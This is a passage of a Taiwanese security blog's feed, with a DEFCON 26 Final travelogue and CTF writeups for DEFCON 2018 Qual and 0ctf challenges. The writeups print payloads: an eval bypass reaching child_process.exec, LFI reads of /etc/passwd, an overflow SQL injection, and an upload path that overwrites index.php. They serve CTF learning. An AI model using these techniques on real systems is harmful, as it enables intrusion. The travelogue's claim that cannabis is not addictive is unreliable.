<p>稍微看一下，可以發現是用CakePHP寫的</p>]]>
    
    </summary>
    
      <category term="Web" scheme="http://blog.kaibro.tw/tags/Web/"/>
    
      <category term="筆記" scheme="http://blog.kaibro.tw/tags/%E7%AD%86%E8%A8%98/"/>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[DEFCON 26 Final CTF初體驗]]></title>
    <link href="http://blog.kaibro.tw/2018/08/20/DEFCON-26-Final-CTF%E5%88%9D%E9%AB%94%E9%A9%97/"/>
    <id>http://blog.kaibro.tw/2018/08/20/DEFCON-26-Final-CTF初體驗/</id>
    <published>2018-08-20T00:41:33.000Z</published>
    <updated>2018-08-28T19:40:55.000Z</updated>
    <content type="html"><![CDATA[<p><img src="/images/vegas.jpg" alt="vegas"></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>這是台灣第一次有兩隊一起進DEFCON Final</p>
<p>也是我第一次出國打CTF，和第一次去Las Vegas，以前最遠只去過關島</p>
<p>感謝教育部、趨勢、中華電信、中華資安等乾爹們的贊助，還有同行的博士、教授及助理打理我們的食衣住行</p>
<p>然後這篇文不會有太多技術細節，應該會比較偏向遊記或是廢文XD</p>
<a id="more"></a>
<p><br></p>
<h1 id="u8CED_u5834"><a href="#u8CED_u5834" class="headerlink" title="賭場"></a>賭場</h1><p>下飛機後，麥卡倫機場裡面整個冷爆，冷氣開超強</p>
<p>但走出外面又爆幹熱，但那種熱跟台灣的熱不太一樣，是有點悶的熱，但又不會流汗</p>
<p>比較有趣的是，機場裡面到處都是賭博機台</p>
<p><img src="/images/gamble.jpg" alt="gamble"></p>
<p><br></p>
<p>出了機場後，迎接我們的是超潮的長型接駁車</p>
<p>裡面就像電影演的一樣，各種潮爆的燈光和一直震的音樂，旁邊還有一堆酒XD</p>
<p><img src="/images/car.jpg" alt="car"></p>
<p>到了凱薩宮，一走進去就是超級大賭場</p>
<p>我們這群鄉巴佬都看傻惹，很想上去玩個兩把</p>
<p>不愧是賭城，不管走到哪都是賭場，路上每間飯店裡幾乎都有賭場</p>
<p>而且天花板都是密密麻麻的監視器，不知道背後是不是真的一堆人24小時監看XD</p>
<p><img src="/images/casino.jpg" alt="casino"></p>
<p><br></p>
<p>後面幾天，就有撥空上去小玩一下，我都只玩拉霸機</p>
<p>不過每次去都會被工作人員要求檢查護照</p>
<p>可能亞洲人的臉都看起來比較年輕吧</p>
<p>有一次忘記帶護照就直接被趕走XD</p>
<p>至於有沒有贏錢，我只有第一次玩的時候有贏過XD</p>
<p>後面幾次玩全賠慘，放了10鎂，只剩0.4鎂QQ</p>
<p>然後Cashout不會直接吐鈔票回來，他會印一張紙出來，好像可以拿去換錢吧</p>
<p><img src="/images/cashout.jpg" alt="cashout"></p>
<p><br></p>
<h1 id="u98EF_u5E97"><a href="#u98EF_u5E97" class="headerlink" title="飯店"></a>飯店</h1><p>我們飯店住的是Caesar Palace，會住這邊主要是因為DEFCON場地就辦在這</p>
<p>有趣的是電影醉後大丈夫也是在這裡拍的，有很多似曾相識的場景XD</p>
<p>我這幾天住的是四人房，還算高級</p>
<p>雖然沒有很大，但落地窗能看到Las Vegas的夜景和一部分百樂宮噴水池</p>
<p><img src="/images/night.jpg" alt="night"></p>
<p>床躺起來超舒服，第一天晚上躺下去就直接睡著，結果沒跟到晚餐的高級牛排QQ</p>
<p>比賽時用來討論的六人房更狂XD</p>
<p>大小是四人房的好幾倍，超大面的落地窗，還可以看到樓下整片的泳池</p>
<p><img src="/images/swim.jpg" alt="swim"></p>
<p>比較坑的地方是，房間裡放的水和餅乾之類的，他下面有開關，一拿起來就會收錢</p>
<p>冰箱裡面雖然擺滿酒，但也是有開關，一拿出來就扣錢 (可惡想喝)</p>
<p>似乎有人不知道就每瓶都拿出看，再放回去，不知道有沒有被扣到錢XD</p>
<p><img src="/images/drink.jpg" alt="酒"></p>
<p><br></p>
<p>然後，飯店網路雷爆，卡到爆，我們比賽也是用這個超雷網路，很慘</p>
<p>網路的部分還有一個Bug，在房間裡連wifi要收錢，可是去一樓連完免費wifi，再回來房間就不用收錢</p>
<p>一個Bypass的概念</p>
<p><br></p>
<h1 id="u5403_u5403_u559D_u559D"><a href="#u5403_u5403_u559D_u559D" class="headerlink" title="吃吃喝喝"></a>吃吃喝喝</h1><p>Las Vegas的食物真的貴到爆，而且很油很不健康</p>
<p>一瓶百事可樂換算下來，大概就要100台幣</p>
<p>然後一餐漢堡或炸物都要1X~2X美金起跳..</p>
<p>第一天晚上原本有人要請吃牛排，但我們這房全睡過頭沒吃到</p>
<p>所以後來就跑去Blue Ribbon買了炸雞和奶昔</p>
<p>花了19鎂，很貴，但份量超多，美國人的食量果然不能小看</p>
<p>之後幾天還吃了Dennis、wahlburgers、拉麵和一堆有的沒的不健康食物</p>
<p>到後來整個超膩，很懷念台灣食物。</p>
<p>比賽期間，都是助理和博士幫忙買食物回來給大家吃，這部分真的很感謝他們</p>
<p><br></p>
<p>最後一天比完賽，吃了一家超高級的Buffet</p>
<p>裡面有各種高級食物，有生蠔、蟹腳、鮭魚生魚片、各種精緻甜點，還有會融化的肉!</p>
<p>我還點了一杯Mojito，但喝下去就是很一般的Mojito</p>
<p>身為一個酒鬼，原本以為來Vegas會一直喝酒，結果幾天下來只喝了這杯酒XD</p>
<p><img src="/images/food1.jpg" alt="food1"></p>
<p><img src="/images/food2.jpg" alt="food2"></p>
<p><img src="/images/food3.jpg" alt="food3"></p>
<p><img src="/images/mojito.jpg" alt="mojito"></p>
<p><br></p>
<h1 id="blackhat__26amp_3B_DEFCON"><a href="#blackhat__26amp_3B_DEFCON" class="headerlink" title="blackhat &amp; DEFCON"></a>blackhat &amp; DEFCON</h1><p><img src="/images/blackhat.jpg" alt="blackhat"></p>
<p>第二天，因為隊上有人參加BlackHat</p>
<p>所以在快結束要去接他的時候，順便去BlackHat逛紀念品店</p>
<p>裡頭衣服多到爆，我只買了一件T-shirt和幾張貼紙(沒錯，貼紙要錢，一張1鎂)，還買了一個酒壺XD</p>
<p><img src="/images/blackhat2.jpg" alt="blackhat2"></p>
<p>原本以為DEFCON也會跟BlackHat一樣超多東西可以買</p>
<p>可是第一天去買DEFCON紀念品時，才發現人爆幹多</p>
<p>排到我們時，很多想買的東西都賣完惹QQ</p>
<p>最後只買了一件polo衫和一個pin</p>
<p><br></p>
<p>DEFCON第一天基本上只有賣官方紀念品，沒有議程和活動</p>
<p>主要活動和議程都跟三天的CTF重疊</p>
<p>所以這幾天都沒聽到半場議程，也沒觀摩到任何Villiage，有點可惜</p>
<p>不過，還是有利用空擋時間快速逛一下Vendor Area</p>
<p>裡面就是各種攤位賣工具和紀念品</p>
<p>例如Hak5有賣Ducky USB、HackRF、Bash Bunny之類的，我也手癢買了一個玩玩</p>
<p>其他攤位還有賣一些開鎖工具、硬體keylogger，和一些我看不懂，但感覺很猛的玩具</p>
<p>還有一個神奇的金正恩USB牆</p>
<p><img src="/images/korea.jpg" alt="korea"></p>
<p><br></p>
<p>快速走過整個會場後，雖然跟我想像的DEFCON有點不太一樣</p>
<p>但還是能感受到濃濃的黑客氣場，和國外的獨特黑客風氣</p>
<p>整個氛圍跟台灣的conf完全不一樣，很特別。</p>
<p>記得某天路過飯店ATM時，看到一群人圍在旁邊操作，然後畫面上是一個Windows視窗，我和我的小夥伴都驚呆惹XD</p>
<p>不過除了技術超強的黑客外，會場裡面的瘋子也超多XDD</p>
<p>還有人脫到只剩一件內褲，爬上桌子跳著奇怪的舞，畫面十分嚇人</p>
<p>然後整個凱薩宮也被貼滿貼紙，連雕像的頭上、牆壁上的畫和電梯裡都被貼滿，估計結束後清潔人員會超級崩潰</p>
<p><img src="/images/weird.jpg" alt="weird"></p>
<p><img src="/images/sticker.jpg" alt="sticker"></p>
<p><img src="/images/sticker2.jpg" alt="sticker2"></p>
<p><br></p>
<p>在CTF同個會場旁邊，還看到有奇怪的帽子比賽</p>
<p>看起來是一群人用鋁箔紙做帽子</p>
<p>然後不知道依據啥標準來比賽，最後他們頒獎時，我還在台下聽了一會</p>
<p>但場面實在太詭異，大家戴著各種畸形的鋁箔帽子，講著不知道笑點在哪的笑話</p>
<p>聽了幾分鐘受不了就走了。</p>
<p><img src="/images/hat.jpg" alt="hat"></p>
<p><br></p>
<p>今年Badge是個紅綠小人亂跑的小遊戲</p>
<p>然後可以跟別人的Badge連接，我後來用破英文跑去跟櫃台工作人員(紅色Badge)連接，結果Badge上就多了一個小紅人XDD</p>
<p>排紀念品時一直在玩，可惜還是玩不出啥東西，看到很多國外黑客直接接電腦，然後一直在terminal敲敲打打，感覺好像挺厲害的，比好厲駭還厲害</p>
<p><img src="/images/badge.jpg" alt="badge"></p>
<p>連上電腦後，還會有文字敘述故事情節:</p>
<p><img src="/images/badge2.png" alt="badge2"></p>
<p><img src="/images/coin.jpg" alt="coin"></p>
<p><br></p>
<h1 id="CTF"><a href="#CTF" class="headerlink" title="CTF"></a>CTF</h1><p><img src="/images/box.jpg" alt="box"></p>
<p>今年的賽制是Attack &amp; Defense + King of Hill</p>
<p><a href="https://www.oooverflow.io/obey/" target="_blank" rel="external">https://www.oooverflow.io/obey/</a></p>
<p>隊伍名單：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div></pre></td><td class="code"><pre><div class="line">1	0daysober</div><div class="line">2	A*0*E</div><div class="line">3	BFS</div><div class="line">4	binja</div><div class="line">5	C.G.K.S</div><div class="line">6	DEFKOR00T</div><div class="line">7	Dragon Sector</div><div class="line">8	HITCON</div><div class="line">9	hxp</div><div class="line">10	KaisHack+PLUS+GoN</div><div class="line">11	koreanbadass</div><div class="line">12	mhackeroni</div><div class="line">13	pasten</div><div class="line">14	PPP</div><div class="line">15	PwnThyBytes</div><div class="line">16	r3kapig</div><div class="line">17	RPISEC</div><div class="line">18	Samurai</div><div class="line">19	Sauercloud</div><div class="line">20	Shellphish</div><div class="line">21	Spaceballs</div><div class="line">22	Tea Deliverers</div><div class="line">23	TeamBaguette</div><div class="line">24	TokyoWesterns</div></pre></td></tr></table></figure>
<p>然後Flag格式是000開頭的，例如: <code>00083A0113576E0BEC5DF2F9472DEE36BFB7518B82232C1A</code></p>
<p><br></p>
<p>開賽後，第一題出來的是<code>reverse</code>，這題是King of Hill</p>
<p>他是一個好幾個Round的填ASM or Machine code的遊戲</p>
<p>答對愈多愈高分，遊戲分數最高前五名才能得分</p>
<p>一開始我們就一部分人去寫自動化，一部分人去手動刷分，一部分人逆向找洞</p>
<p>然後我和小圓好幾次神運氣，手動刷到前五，有賺到一些分數XDD</p>
<p>但到後面其他隊不知道是自動化寫太快，還是找到題目的洞，分數爆幹高，我們就擠不進前五、拿不到分數</p>
<p>服務隨著打的人愈來愈多，狀態會從綠色慢慢變紅色，最後關閉題目。</p>
<p><img src="/images/score.png" alt="score"></p>
<p><br></p>
<p>不得不說，這場比賽主辦方出蠻多狀況的</p>
<p>各種放錯題目(第一天中間有把後面幾天的<code>poool</code>放出來幾秒XD)、git爛掉、計分問題、網路問題…有的沒的。</p>
<p><br></p>
<p><code>doublethink</code>那題要串shellcode，別隊很多都是用題目漏洞才刷到9分、11分</p>
<p>隊友們沒有用這個漏洞還硬串串出4、5個shellcode，屌爆了XDD</p>
<p><br></p>
<p>其他題目像<code>pointless</code>是MIPS架構，有一題是ObjectiveC，還有一堆神奇的架構</p>
<p>用JEB free trial去看MIPS還會一直Crash，傳參的地方感覺也解得很爛，看得很崩潰</p>
<p>身為Web狗，解這些題目整個很卡，還好後面有出一題<code>bew</code></p>
<p>它是用node.js和wasm寫的題目</p>
<p>以前沒實際玩過wasm，所以就只能現學現賣，現場裝個emcc</p>
<p>後來發現直接輸入js code，他就會拿來跑，只是他有黑名單，要稍微繞一下</p>
<p>e.g. <code>eval(&#39;requir&#39;+&#39;e&#39;)(&#39;child&#39;+&#39;_process&#39;).exec(&#39;sleep 10&#39;);</code></p>
<p>晚上時，大家就尻了一堆Payload和加密腳本，準備隔天要大屠殺一番</p>
<p>結果一開賽，我們的服務就被別隊打爛，救不回來，超凶狠</p>
<p>聽說主辦單位權限設置好像有問題(?</p>
<p>我們後來連自己的服務都無法打成功，所有準備的招都用不上</p>
<p>最後還是只能回歸老招，一直刷<code>suspects.txt</code>偷別人的flag，也是有搶到一些分數啦</p>
<p>不太懂為啥有人要把flag寫在<code>suspects.txt</code>上XD</p>
<p><br></p>
<p>整場比賽下來，覺得自己超廢，題目還沒看完，別隊就已經首殺了</p>
<p>看著變態強隊一直刷分，果然打Binary的才是高富帥</p>
<p>雖然賽前有一直在練Pwn和Reverse，但看到各種奇怪架構還是會不知所措</p>
<p>以後有時間應該會想繼續練一下這塊XD</p>
<p>最後也感謝強者我隊友們Carry，吊車尾進決賽，結果20多隊中拿了第12名</p>
<p>四隊韓國隊中，我們只輸給DEFKOROOT，超強</p>
<p><img src="/images/rank.png" alt="rank"></p>
<p><img src="/images/defkor.jpg" alt="defkor"><br>(實體Hijack flag)</p>
<p><br></p>
<h1 id="u5927_u9EBB"><a href="#u5927_u9EBB" class="headerlink" title="大麻"></a>大麻</h1><p>在Las Vegas，大麻是合法的!</p>
<p>在Las Vegas，大麻是合法的!</p>
<p>在Las Vegas，大麻是合法的!</p>
<p>因為很重要，所以要強調三次XD</p>
<p>先說結論，我體驗完之後，還是不太支持這玩意</p>
<p>但一輩子來這邊合法體驗一次，我覺得還挺OK的</p>
<p>而且不會有成癮性，不用怕會上癮</p>
<p><br></p>
<p>我們在還沒出發前，就一直嘴砲說來了一定要抽大麻</p>
<p>結果原本只是說說，後來又覺得沒抽好像真的有點可惜，人生可能就只有這麼一次機會</p>
<p>就在某天比賽完，大家都要回房睡覺時，和小圓一起搭Uber腦衝跑去Reef dispensaries買大麻</p>
<p>這家店是Google map上離我們飯店最近的一間專賣店，看圖片感覺很明亮、很高級XD</p>
<p>(中間還遇到網路定位太雷，定到超遠的地方，害我叫Uber被扣錢)</p>
<p>經過幾分鐘的路途後，終於到Reef了</p>
<p>店外面環境看起來整個超偏僻，燈光昏暗，然後店面很小間的樣子</p>
<p>感覺就會有一些毒蟲或壞蛋平常喜歡聚集在外面(X</p>
<p>但進去之後，果然後Google圖片裡一樣，燈光很亮、很乾淨，很像精品店XDD</p>
<p>一進去，門口的守衛會檢查護照，檢查過才放你進去 (小於21歲不能買)</p>
<p>裡面賣了各式各樣的大麻商品，有看起來像大麻保養品的東西、大麻餅乾，甚至還有紀念衣XD</p>
<p>晃了一下，感覺裡面也是一堆各國遊客想來嚐試大麻</p>
<p>由於我們沒有事先做功課，所以看著menu上各式各樣的大麻口味，完全不知道該如何挑選</p>
<p>最後就用破英文請女店員推薦我們新手用的</p>
<p>(女店員擦紫黑色口紅，感覺超壞，應該是個老江湖)</p>
<p>然後她推薦了幾個新手可以嘗試的種類</p>
<p>我選了preroll的mimosa大麻兩根，一根17.5鎂，然後順便買了一個2鎂的打火機</p>
<p>回去的時候，搭的Uber超帥，是一個黑人開Dodge的紅色肌肉車，然後改超爆幹震的音響</p>
<p>車子那個加速度，配上他播<code>Moneybagg Yo - More</code>的歌，一路震回飯店，整個超爽XDDD</p>
<p><img src="/images/weed.jpg" alt="weed"></p>
<p><br></p>
<p>大麻抽起來，味道很濃，隔數十公尺都聞得到</p>
<p>抽完當下，完全沒任何特別感覺，還以為大麻就這樣，當時以為網路上心得文都是唬爛的</p>
<p>結果後來走回飯店，走到一半遇到博士，然後講話講一講</p>
<p>突然一個覺得身體和大腦「飄起來」，整個人逐漸昇華起來，精神突然變很好</p>
<p>然後感官四肢突然變得很遲緩，變得很不像自己的</p>
<p>笑點也突然變很低，一直想笑，整個ㄎㄧㄤ掉XDD</p>
<p>一整個感覺自己像在作夢，博士當時好像有點看傻眼XD</p>
<p>最後還要靠小圓攙扶上樓</p>
<p>跟喝醉酒完全不同感覺，喝醉酒腦袋會不太清醒，而且會想睡覺，可是大麻有點相反的感覺</p>
<p>然後為了證明抽完大麻，腦袋還是清醒的，還跟他們PK解webhacking.kr和算心算 XDDD</p>
<p>之後回房間睡個一覺起來之後效果就退了</p>
<p>很特別的體驗，而且真的沒有成癮性，抽完隔天完全不想再抽</p>
<p>難得在Las Vegas可以合法抽，來了可以考慮體驗看看XD</p>
<p><img src="/images/weed2.jpg" alt="weed2"></p>
<p><br></p>
<h1 id="u7E3D_u7D50"><a href="#u7E3D_u7D50" class="headerlink" title="總結"></a>總結</h1><p>簡單小總結一下</p>
<ul>
<li><p>感謝乾爹們</p>
</li>
<li><p>食物好貴</p>
</li>
<li><p>Las Vegas室外爆幹熱，但室內都爆幹冷</p>
</li>
<li><p>飯店不一定會附牙膏牙刷</p>
</li>
<li><p>飯店的零食、酒拿起來太久會計費</p>
</li>
<li><p>飯店WiFi不一定是免費的</p>
</li>
<li><p>記得給小費</p>
</li>
<li><p>CVS好棒棒，買水、買食物、買日常用品、買紀念品都方便</p>
</li>
<li><p>去賭場玩記得帶護照</p>
</li>
<li><p>DEFCON紀念品要早點搶</p>
</li>
<li><p>美國衣服Size比台灣大很多，買紀念品要挑小1~2號</p>
</li>
<li><p>擺在桌上的貼紙不一定是免費的</p>
</li>
<li><p>DEFCON有些地方不能拍照</p>
</li>
<li><p>大麻不能在公共場合抽，雖然還是偶而會看到黑人在路上抽</p>
</li>
<li><p>神秘電話 702-6969696</p>
</li>
<li><p>u know what?  I don’t know, asshole!</p>
</li>
</ul>
<p><br></p>
<p>What happens in Vegas, stays in Vegas.</p>
<p><img src="/images/gameover.jpg" alt="gameover"></p>
]]></content>
    <summary type="html">
    <![CDATA[<p><img src="/images/vegas.jpg" alt="vegas"></p>
<h1 id="u524D_u8A00"><a href="#u524D_u8A00" class="headerlink" title="前言"></a>前言</h1><p>這是台灣第一次有兩隊一起進DEFCON Final</p>
<p>也是我第一次出國打CTF，和第一次去Las Vegas，以前最遠只去過關島</p>
<p>感謝教育部、趨勢、中華電信、中華資安等乾爹們的贊助，還有同行的博士、教授及助理打理我們的食衣住行</p>
<p>然後這篇文不會有太多技術細節，應該會比較偏向遊記或是廢文XD</p>]]>
    
    </summary>
    
      <category term="CTF" scheme="http://blog.kaibro.tw/tags/CTF/"/>
    
      <category term="DEFCON" scheme="http://blog.kaibro.tw/tags/DEFCON/"/>
    
  </entry>
  
  <entry>
    <title><![CDATA[DEFCON CTF 2018 Qual和一些有趣題目]]></title>
    <link href="http://blog.kaibro.tw/2018/05/16/DEFCON-CTF-2018-Qual/"/>
    <id>http://blog.kaibro.tw/2018/05/16/DEFCON-CTF-2018-Qual/</id>
    <published>2018-05-15T19:37:40.000Z</published>
    <updated>2018-05-24T08:59:41.000Z</updated>
    <content type="html"><![CDATA[<p>這篇主要用來記錄近期幾場CTF的一些Writeup和心得</p>
<h2 id="DEFCON_CTF_2018_Qual"><a href="#DEFCON_CTF_2018_Qual" class="headerlink" title="DEFCON CTF 2018 Qual"></a>DEFCON CTF 2018 Qual</h2><p>這場比賽我們隊和台大還有交大等隊伍一起組成聯隊</p>
<p>見識到其他隊伍跟自己的差距，學了很多</p>
<p><img src="https://i.imgur.com/1m5PjtZ.png" alt="rank"></p>
<a id="more"></a>
<h3 id="Easy_Pisy"><a href="#Easy_Pisy" class="headerlink" title="Easy Pisy"></a>Easy Pisy</h3><p>這題有兩個功能：<code>sign</code>跟<code>execute</code></p>
<p>sign只給我們sign ECHO指令(他會用OCR去辨識pdf上的文字)</p>
<p>execute功能如果給正確的signature，他就會去執行pdf上面的指令</p>
<p>所以如果我們有辨法構造或繞過signature就能搞定這題惹</p>
<p>這題比較難發現的關鍵點是，<code>openssl_verify</code>在sign前使用<code>SHA1</code></p>
<p>也就是說可以去撞SHA1 Collision</p>
<p>可以使用這個Tool來輔助：<a href="https://github.com/nneonneo/sha1collider/" target="_blank" rel="external">https://github.com/nneonneo/sha1collider/</a></p>
<p>產生兩個pdf檔: (1) ECHO kaibro  (2) EXECUTE cat flag</p>
<p>然後用這個Tool去撞SHA1 Collsion</p>
<p>比較麻煩的點是，他的OCR有點不太精準，很多字型他都辨識得很差，可能要多踹幾次</p>
<p>成功後，兩個pdf檔就有相同<code>SHA1 hash</code>，但兩個pdf用OCR辨識出來的文字不同</p>
<p>我撞出來的兩個pdf如下:</p>
<p><a href="https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/echo.pdf" target="_blank" rel="external">https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/echo.pdf</a></p>
<p><a href="https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/execute.pdf" target="_blank" rel="external">https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/execute.pdf</a></p>
<p>先sign pdf(1)，之後把得到的SHA1 hash和pdf(2)一起丟去execute，就拿到FLAG惹</p>
<p><code>OOO{phP_4lw4y5_d3l1v3r5_3h7_b35T_fl4g5}</code></p>
<p><img src="https://i.imgur.com/ddF81JT.png" alt=""></p>
<h3 id="PHP_Eval_White-List"><a href="#PHP_Eval_White-List" class="headerlink" title="PHP Eval White-List"></a>PHP Eval White-List</h3><p>這題出壞惹</p>
<p>直接<code>system(&quot;../flag&quot;)</code>就噴FLAG</p>
<p><img src="https://i.imgur.com/dilXywj.png" alt=""></p>
<h3 id="exzendtential-crisis"><a href="#exzendtential-crisis" class="headerlink" title="exzendtential-crisis"></a>exzendtential-crisis</h3><p>這題很容易可以發現LFI:</p>
<p><code>http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&amp;name=../../../../../etc/passwd</code></p>
<p>可以透過LFI去讀essays.php、login.php、register.php的源碼</p>
<p>會發現login.php會去call一個奇怪的function: <code>check_credentials</code></p>
<p>register.php也是: <code>create_user</code></p>
<p>估計就是他自己寫的extension</p>
<p>翻一下<code>php.ini</code>，可以找到<code>mydb.so</code>的路徑</p>
<p>用LFI把他載下來: <code>/essays.php?preview&amp;name=../../../../../usr/lib/php/20151012/mydb.so</code></p>
<p>用ida pro去看，可以發現它DB是用SQLite</p>
<p>mydb.so有db路徑，所以可以把他的DB載下來 (但因為<code>file_get_contents</code>有長度限制，所以沒辦法載完整的)</p>
<p><img src="https://i.imgur.com/FrUJbJz.png" alt=""></p>
<p>會發現目標的帳號跟密碼: <code>sarte:5f0e11fe91a3196d7bf8e80a7ee0bbdf516b1952a57569e4809a9e7bf21ad0f6</code></p>
<p>賽中有試著去撞，但撞不出來 (SHA256攪20次)</p>
<p>然後就是一連串崩潰逆向 </p>
<p>翻了一下之後，一直覺得這題應該是想考SQL Injection (因為裡面特別去擋SQL Injection payload，又擋不完整)</p>
<p>然後他還會把參數裡面的<code>&#39;</code>換成<code>&#39;&#39;</code></p>
<p>原本以為簡單的<code>\&#39;</code> =&gt; <code>\&#39;&#39;</code>就能惹，後來才知道原來SQLite不能這樣跳脫QQ</p>
<p>賽後才知道原來洞在: </p>
<p><code>check_hacking_attempt()</code>裡username可以蓋超過username_check，然後蓋到下面的<code>table_name</code></p>
<p>source code在這: <a href="https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/" target="_blank" rel="external">https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/</a></p>
<p>賽中是有踹出來username長度限制大概到111，但沒發現他是蓋到table_name</p>
<p>所以最後payload只要這樣就能繞過惹:</p>
<p><code>username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABusers where rowid=1;--&amp;password=a</code></p>
<p>因為<code>AA...AAB</code>後面的<code>users where rowid=1</code>會蓋到<code>table_name</code></p>
<p>所以這邊<code>snprintf(cmd, sizeof(cmd), &quot;select rowid from %s where username = &#39;%s&#39; and password = &#39;%s&#39;;&quot;, table_name, username, password);</code>就可以注入惹</p>
<hr>
<p>整體來說，這場的確很多黑人問號的題目</p>
<p>(雖然也是有一些好題目)</p>
<p>不少題目都有猜測或暴力的成分在裡頭</p>
<p>Web題也是一堆都要去逆向<code>.so</code>檔，很不web</p>
<p>不過隊友太Carry，最後聯隊還是拿到22名 跪惹</p>
<p>第一次參加DEFCON Qual就打進決賽，運氣真的很好XD</p>
<h2 id="0ctf_2018_Qual"><a href="#0ctf_2018_Qual" class="headerlink" title="0ctf 2018 Qual"></a>0ctf 2018 Qual</h2><h3 id="EzDoor"><a href="#EzDoor" class="headerlink" title="EzDoor"></a>EzDoor</h3><p>這題蠻有趣的，第一次碰opcache</p>
<p>他有幾個小功能，可以看phpinfo、上傳檔案等</p>
<p>雖然能上傳，但是會檢查副檔名有沒有出現h，有的話就算不合法</p>
<p><code>stristr(pathinfo($name)[&quot;extension&quot;], &quot;h&quot;))</code></p>
<p>傳其他檔案上去都不能直接訪問，會403，所以就是要想辦法蓋index.php</p>
<p><code>move_uploaded_file()</code>可以覆蓋舊檔案，但是index.php副檔名有h，要想辦法繞</p>
<p>直覺想到以前看過的一招: <code>index.php/.</code> </p>
<p>但是這招沒辦法覆寫舊檔案，只能寫新檔案</p>
<p>改用<code>a/../index.php/.</code>就能成功覆寫，這跟他底層實作有關，可以去翻source code</p>
<p>賽後才知道這是非預期解法XD</p>
<p>然後翻一下<code>/var/www/html/flag/</code>下面，會看到有個檔案<code>93f4c28c0cf0b07dfd7012dca2cb868cc0228cad</code></p>
<p>裡頭是OPcache Byte code</p>
<p>內容乍看之下是在做一連串flag的加解密</p>
<p>大概就猜想可能要去逆向它</p>
<p>於是找到這個Tool有Disassembler: <a href="https://github.com/GoSecure/php7-opcache-override" target="_blank" rel="external">https://github.com/GoSecure/php7-opcache-override</a></p>
<p>但是踹了很久一直Fail，一開始還要裝特定版本的construct套件</p>
<p>也修正opcache中間少一個NULL Byte的問題，結果還是不行，就卡在這沒解出來Orz</p>
<p>賽後才知道Tool沒處理到某些opcode，要手動修正去逆向…</p>
<p>修正後可以還原出以下pseudo code:</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div></pre></td><td class="code"><pre><div class="line">function encrypt() &#123;</div><div class="line">      #0 !0 = RECV(None, None);</div><div class="line">      #1 !0 = RECV(None, None);</div><div class="line">      #2 DO_FCALL_BY_NAME(None, &apos;mt_srand&apos;);</div><div class="line">      #3 SEND_VAL(1337, None);</div><div class="line">      #4 (129)?(None, None);</div><div class="line">      #5 ASSIGN(!0, &apos;&apos;);</div><div class="line">      #6 (121)?(!0, None);</div><div class="line">      #7 ASSIGN(None, None);</div><div class="line">      #8 (121)?(!0, None);</div><div class="line">      #9 ASSIGN(None, None);</div><div class="line">      #10 ASSIGN(None, 0);</div><div class="line">      #11 JMP(-&gt;-24, None);</div><div class="line">      #12 DO_FCALL_BY_NAME(None, &apos;chr&apos;);</div><div class="line">      #13 DO_FCALL_BY_NAME(None, &apos;ord&apos;);</div><div class="line">      #14 FETCH_DIM_R(!0, None);</div><div class="line">      #15 (117)?(None, None);</div><div class="line">      #16 (129)?(None, None);</div><div class="line">      #17 DO_FCALL_BY_NAME(None, &apos;ord&apos;);</div><div class="line">      #18 MOD(None, None);</div><div class="line">      #19 FETCH_DIM_R(!0, None);</div><div class="line">      #20 (117)?(None, None);</div><div class="line">      #21 (129)?(None, None);</div><div class="line">      #22 BW_XOR(None, None);</div><div class="line">      #23 DO_FCALL_BY_NAME(None, &apos;mt_rand&apos;);</div><div class="line">      #24 SEND_VAL(0, None);</div><div class="line">      #25 SEND_VAL(255, None);</div><div class="line">      #26 (129)?(None, None);</div><div class="line">      #27 BW_XOR(None, None);</div><div class="line">      #28 SEND_VAL(None, None);</div><div class="line">      #29 (129)?(None, None);</div><div class="line">      #30 ASSIGN_CONCAT(!0, None);</div><div class="line">      #31 PRE_INC(None, None);</div><div class="line">      #32 IS_SMALLER(None, None);</div><div class="line">      #33 JMPNZ(None, -&gt;134217662);</div><div class="line">      #34 